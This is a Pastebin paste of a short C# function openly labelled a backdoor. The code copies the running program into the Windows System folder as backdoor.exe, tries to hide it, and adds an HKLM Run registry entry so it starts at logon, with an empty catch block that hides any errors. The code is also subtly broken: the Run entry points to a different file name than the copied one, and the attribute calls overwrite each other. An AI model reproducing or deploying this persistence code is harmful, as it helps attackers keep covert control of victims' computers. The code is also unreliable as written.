Advertisement
Guest User

Iniciar com Windows c# backdoor

a guest
Sep 21st, 2014
691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. //by:Mharcos Nesster Mh4x0f
  2. public static void Inciar_windows()
  3. {
  4. try{
  5. File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe"), true);
  6. File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.Hidden);
  7. File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.System);
  8. File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.ReadOnly);
  9. Microsoft.Win32.RegistryKey k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
  10. k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", Microsoft.Win32.RegistryValueKind.String);
  11. k.Close();
  12.  
  13. }
  14.  
  15. catch
  16.  
  17. {
  18.  
  19. }
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement